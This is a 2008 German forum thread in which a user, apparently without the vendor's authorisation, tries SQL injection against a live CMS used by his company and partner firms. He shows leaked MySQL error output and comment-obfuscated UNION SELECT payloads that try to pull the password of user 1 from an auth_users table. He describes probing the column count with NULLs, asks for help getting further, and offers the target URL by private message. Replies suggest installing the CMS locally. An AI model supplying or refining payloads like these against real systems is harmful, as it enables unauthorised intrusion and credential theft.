Advanced SQl Inject

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von Smokers, 17. April 2008 .

Schlagworte:
Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. 17. April 2008
    Also folgende Sache:
    Wir und viele andere Partnerfirmen nutzen ein gewisses CMS das ich erstmal nicht näher benennen möchte.

    Fakt ist , es is tunsicher hoch 3.....
    ( die XSS Lücken mal auch noch außen vor... .)


    Bei simpler eingabe eines ' in das Suchen feld erfolgt dies:

    Code:
    [I]An error occured.[/I]
    [B]Query:[/B] SELECT * FROM menus WHERE ( titel LIKE '%'%' ) AND id IN (106113000010,106113000021,106113000042,106113000043,106113000044,106113000045,106113000047,106113000048,106113000049,106113000050,106113000051,123001000214,106113000131,106113000132,106113000052,106113000056,106113000055,106113000060,106113000200,123001000182,123001000183,123001000184,123001000185,123001000186,123001000187,123001000102,123001000225,123001000103,123001000104,123001000105,123001000106,123001000107,123001000108,106113000063,106113000156,106113000157,123001000160,123001000110,106113000158,106113000159,123001000111,123001000112,106113000064,106113000065,106113000066,106113000067,106113000068,106113000069,106113000070,106113000071,106113000072,106113000126,106113000127,123001000170,123001000169,106113000079,123001000229,123001000230,123001000233,123001000234,123001000235,123001000236,106113000023,106113000081,106113000092,106113000091,106113000093,106113000151,106113000145,106113000041,106113000080,106113000039,106113000082,106113000096,106113000097,106113000098,106113000099,106113000100,106113000140,106113000152,106113000022,106113000085,106113000084,123001000241,123001000242,123001000179,123001000180,106113000088,106113000101,106113000102,106113000103,106113000104,106113000144,106113000086,106113000087,106113000090,123001000188,106113000024,106113000105,106113000106,106113000128,106113000129,106113000109,123001000166,106113000111,106113000112,123001000165,123001000221,106113000001,106113000025,106113000026,106113000160,106113000116,151004000009,106113000119,106113000124,106113000123,151004000002,106113000030,106113000032,106113000004,104303000007,104303000008,104303000011,123001000093,123001000094) AND lang='de' AND web_id=151005 AND menupointtype IN (0,1,2) AND _nav_hideonlogin IN (0,1) AND ( (start_date <= NOW() OR isnull(start_date) OR timestamp(start_date) = 0) AND (end_date >= NOW() OR isnull(end_date) OR timestamp(end_date) = 0) ) AND status_id IN (1)
    [B]Host:[/B] localhost
    [B]Database:[/B] *****
    [B]User:[/B] *******
    [B]MySQL said:[/B] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' ) AND id IN (106113000020,106113000221,106113000042,106113002143,10611300104' at line 1
    

    Wenn ich mehrere Statemens Schreibe wird jedoch der String getrennt, sozusagen ein explode beim leerzeichen.

    Dies umgehe ich indem ich einfach auskommentiere und nach dem leerzeichen wieder einkommentiere, das sieht dann so aus :


    Code:
    [I]An error occured.[/I]
    [B]Query:[/B] SELECT * FROM menus WHERE ( titel LIKE '%')/*%' ) AND ( titel LIKE '%*/UNION/*%' ) AND ( titel LIKE '%*/SELECT/*%' ) AND ( titel LIKE '%*/passwd/*%' ) AND ( titel LIKE '%*/FROM/*%' ) AND ( titel LIKE '%*/auth_users/*%' ) AND ( titel LIKE '%*/WHERE/*%' ) AND ( titel LIKE '%*/uid=1/*%' ) AND id IN (106113000020,1061130d0021,10611300d042,1061130020043,10611200044,106113023045,106113000047,106113000048,106113000049,106113000050,106113000051,123001000214,106113000131,106113000132,106113000052,106113000056,106113000055,106113000060,106113000200,123001000182,123001000183,123001000184,123001000185,123001000186,123001000187,123001000102,123001000225,123001000103,123001000104,123001000105,123001000106,123001000107,123001000108,106113000063,106113000156,106113000157,123001000160,123001000110,106113000158,106113000159,123001000111,123001000112,106113000064,106113000065,106113000066,106113000067,106113000068,106113000069,106113000070,106113000071,106113000072,106113000126,106113000127,123001000170,123001000169,106113000079,123001000229,123001000230,123001000233,123001000234,123001000235,123001000236,106113000023,106113000081,106113000092,106113000091,106113000093,106113000151,106113000145,106113000041,106113000080,106113000039,106113000082,106113000096,106113000097,106113000098,106113000099,106113000100,106113000140,106113000152,106113000022,106113000085,106113000084,123001000241,123001000242,123001000179,123001000180,106113000088,106113000101,106113000102,106113000103,106113000104,106113000144,106113000086,106113000087,106113000090,123001000188,106113000024,106113000105,106113000106,106113000128,106113000129,106113000109,123001000166,106113000111,106113000112,123001000165,123001000221,106113000001,106113000025,106113000026,106113000160,106113000116,151004000009,106113000119,106113000124,106113000123,151004000002,106113000030,106113000032,106113000004,104303000007,104303000008,104303000011,123001000093,123001000094) AND lang='de' AND web_id=151004 AND menupointtype IN (0,1,2) AND _nav_hideonlogin IN (0,1) AND ( (start_date <= NOW() OR isnull(start_date) OR timestamp(start_date) = 0) AND (end_date >= NOW() OR isnull(end_date) OR timestamp(end_date) = 0) ) AND status_id IN (1)
    [B]Host:[/B] localhost
    [B]Database:[/B] *******
    [B]User:[/B] *****
    [B]MySQL said:[/B] The used SELECT statements have a different number of columns
    
    der eingabe wert dazu sieht so aus :
    ')/* */UNION/* */SELECT/* */passwd/* */FROM/* */auth_users/* */WHERE/* */uid=1/*

    Ok dachte ich "nur" diffrent number of clumns erstmal ,
    Sprich ich versuchte die Columns Zahl rauszubekommen....


    ')/* */UNION/* */SELECT/* */passwd,NULL/* */FROM/* */auth_users/* */WHERE/* */uid=1/*
    --> ging nicht

    ')/* */UNION/* */SELECT/* */passwd,NULL,NULL/* */FROM/* */auth_users/* */WHERE/* */uid=1/*

    --> ging nicht



    Das habe ich bis 30 x "NULL" gemacht , aber es kam immer wieder die Meldung.
    So und genau da hörts bei mir auf, weiter komme ich nicht.

    Jedoch möchte ich gern beweisen das dieses CMS alles andere als sicher ist.
    Für Anregungen wäre ich dankbar.

    Natürlich auch per PM.




    Smoki
     
  2. 17. April 2008
    AW: Advanced SQl Inject

    Hast du dieses besagte CMS? Sonst könntest du dir es doch local installieren und in der mysql datenbank nachschauen. Aber denk mal du hast es nicht sonst wärst du wohl auf die Idee selber gekommen. xD
     
  3. 17. April 2008
    AW: Advanced SQl Inject

    Korrekt, es liegt mir leider nicht als Quelltext vor.
    Jedoch kann man davon ausgehen das es an einer anderen Stelle hängt, da ich kaum davon ausgehe das eine Tabelle mehr als 30 Spalten hat.

    Und bis 30 X "NULL,NULL............ " hab ich ausprobiert um dem Fehler auszuweichen^^°
     
  4. 17. April 2008
    AW: Advanced SQl Inject

    NAja, du brauchst es ja nich als Quelltext.
    Es reicht ja wen du dir die Tabelle mit phpmyadmin oder so anschaust.
     
  5. 17. April 2008
    AW: Advanced SQl Inject

    Nein ist so auch nicht vorhanden.
    Lediglich als Intranet / Internetauftritt.

    Per PM verteile ich auch die URL wenn nötig.
     
  6. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.